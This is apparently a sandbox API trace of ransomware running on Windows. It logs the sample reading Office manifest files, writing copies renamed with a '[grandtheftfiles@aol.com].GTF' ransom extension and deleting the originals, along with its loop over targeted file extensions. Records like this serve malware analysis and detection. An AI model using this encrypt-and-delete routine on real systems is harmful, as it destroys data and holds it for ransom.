	[0077.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.802] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.802] lstrlenW (lpString=".doc") returned 4
	[0077.802] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.802] lstrlenW (lpString=".docx") returned 5
	[0077.802] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.802] lstrlenW (lpString=".pdf") returned 4
	[0077.802] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".xls") returned 4
	[0077.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".xlsx") returned 5
	[0077.803] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.803] lstrlenW (lpString=".ppt") returned 4
	[0077.803] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString=".zip") returned 4
	[0077.803] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.803] lstrlenW (lpString=".rar") returned 4
	[0077.803] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".bz2") returned 4
	[0077.803] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".7z") returned 3
	[0077.803] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString=".dbf") returned 4
	[0077.803] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString=".1cd") returned 4
	[0077.803] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString=".jpg") returned 4
	[0077.803] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.803] lstrlenW (lpString=".doc") returned 4
	[0077.803] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".docx") returned 5
	[0077.803] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.803] lstrlenW (lpString=".pdf") returned 4
	[0077.803] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".xls") returned 4
	[0077.803] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.803] lstrlenW (lpString=".xlsx") returned 5
	[0077.804] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.804] lstrlenW (lpString=".ppt") returned 4
	[0077.804] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.804] lstrlenW (lpString=".zip") returned 4
	[0077.804] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.804] lstrlenW (lpString=".rar") returned 4
	[0077.804] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.804] lstrlenW (lpString=".bz2") returned 4
	[0077.804] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.804] lstrlenW (lpString=".7z") returned 3
	[0077.804] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.804] lstrlenW (lpString=".dbf") returned 4
	[0077.804] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.804] lstrlenW (lpString=".1cd") returned 4
	[0077.804] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0077.804] lstrlenW (lpString=".jpg") returned 4
	[0077.804] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.804] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.804] lstrlenW (lpString="AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 53
	[0077.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.805] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1261) returned 1
	[0077.805] CloseHandle (hObject=0x380) returned 1
	[0077.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.805] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.805] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.805] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.805] GetLastError () returned 0x0
	[0077.805] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0077.807] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0077.808] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.808] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.808] SetEndOfFile (hFile=0x384) returned 1
	[0077.808] CloseHandle (hObject=0x384) returned 1
	[0077.809] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.809] SetEndOfFile (hFile=0x380) returned 1
	[0077.810] CloseHandle (hObject=0x380) returned 1
	[0077.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.811] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e1-0409-1000-0000000ff1ce.xml")) returned 1
	[0077.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.811] lstrlenW (lpString=".doc") returned 4
	[0077.811] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.811] lstrlenW (lpString=".docx") returned 5
	[0077.811] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.811] lstrlenW (lpString=".pdf") returned 4
	[0077.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.811] lstrlenW (lpString=".xls") returned 4
	[0077.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.811] lstrlenW (lpString=".xlsx") returned 5
	[0077.811] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.811] lstrlenW (lpString=".ppt") returned 4
	[0077.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.811] lstrlenW (lpString=".zip") returned 4
	[0077.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.811] lstrlenW (lpString=".rar") returned 4
	[0077.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.811] lstrlenW (lpString=".bz2") returned 4
	[0077.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".7z") returned 3
	[0077.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString=".dbf") returned 4
	[0077.812] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString=".1cd") returned 4
	[0077.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString=".jpg") returned 4
	[0077.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString=".doc") returned 4
	[0077.812] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".docx") returned 5
	[0077.812] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.812] lstrlenW (lpString=".pdf") returned 4
	[0077.812] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".xls") returned 4
	[0077.812] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".xlsx") returned 5
	[0077.812] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.812] lstrlenW (lpString=".ppt") returned 4
	[0077.812] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.812] lstrlenW (lpString=".zip") returned 4
	[0077.812] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.812] lstrlenW (lpString=".rar") returned 4
	[0077.812] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".bz2") returned 4
	[0077.812] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.812] lstrlenW (lpString=".7z") returned 3
	[0077.812] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.813] lstrlenW (lpString=".dbf") returned 4
	[0077.813] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.813] lstrlenW (lpString=".1cd") returned 4
	[0077.813] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E1-0409-1000-0000000FF1CE.xml") returned 104
	[0077.813] lstrlenW (lpString=".jpg") returned 4
	[0077.813] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.813] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.813] lstrlenW (lpString="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 53
	[0077.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.813] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3754) returned 1
	[0077.813] CloseHandle (hObject=0x380) returned 1
	[0077.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0077.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.814] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.814] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0077.814] GetLastError () returned 0x0
	[0077.814] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0xeaa, lpOverlapped=0x0) returned 1
	[0077.827] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xeb0, lpOverlapped=0x0) returned 1
	[0077.828] ReadFile (in: hFile=0x380, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0077.828] WriteFile (in: hFile=0x384, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.828] SetEndOfFile (hFile=0x384) returned 1
	[0077.828] CloseHandle (hObject=0x384) returned 1
	[0077.829] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.829] SetEndOfFile (hFile=0x380) returned 1
	[0077.830] CloseHandle (hObject=0x380) returned 1
	[0077.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0077.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml")) returned 1
	[0077.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.830] lstrlenW (lpString=".doc") returned 4
	[0077.830] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.830] lstrlenW (lpString=".docx") returned 5
	[0077.830] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.830] lstrlenW (lpString=".pdf") returned 4
	[0077.830] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.830] lstrlenW (lpString=".xls") returned 4
	[0077.830] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.830] lstrlenW (lpString=".xlsx") returned 5
	[0077.830] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.830] lstrlenW (lpString=".ppt") returned 4
	[0077.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".zip") returned 4
	[0077.831] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.831] lstrlenW (lpString=".rar") returned 4
	[0077.831] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString=".bz2") returned 4
	[0077.831] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString=".7z") returned 3
	[0077.831] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".dbf") returned 4
	[0077.831] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".1cd") returned 4
	[0077.831] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".jpg") returned 4
	[0077.831] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".doc") returned 4
	[0077.831] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString=".docx") returned 5
	[0077.831] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0077.831] lstrlenW (lpString=".pdf") returned 4
	[0077.831] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString=".xls") returned 4
	[0077.831] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString=".xlsx") returned 5
	[0077.831] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0077.831] lstrlenW (lpString=".ppt") returned 4
	[0077.831] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0077.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.831] lstrlenW (lpString=".zip") returned 4
	[0077.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0077.832] lstrlenW (lpString=".rar") returned 4
	[0077.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0077.832] lstrlenW (lpString=".bz2") returned 4
	[0077.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0077.832] lstrlenW (lpString=".7z") returned 3
	[0077.832] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0077.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.832] lstrlenW (lpString=".dbf") returned 4
	[0077.832] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0077.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.832] lstrlenW (lpString=".1cd") returned 4
	[0077.832] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0077.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 104
	[0077.832] lstrlenW (lpString=".jpg") returned 4
	[0077.832] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0077.832] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0077.832] lstrlenW (lpString="AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml") returned 53
	[0077.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.832] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1261) returned 1
	[0077.832] CloseHandle (hObject=0x380) returned 1
	[0077.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0077.833] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0077.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0115-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0115-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0077.833] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0077.833] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
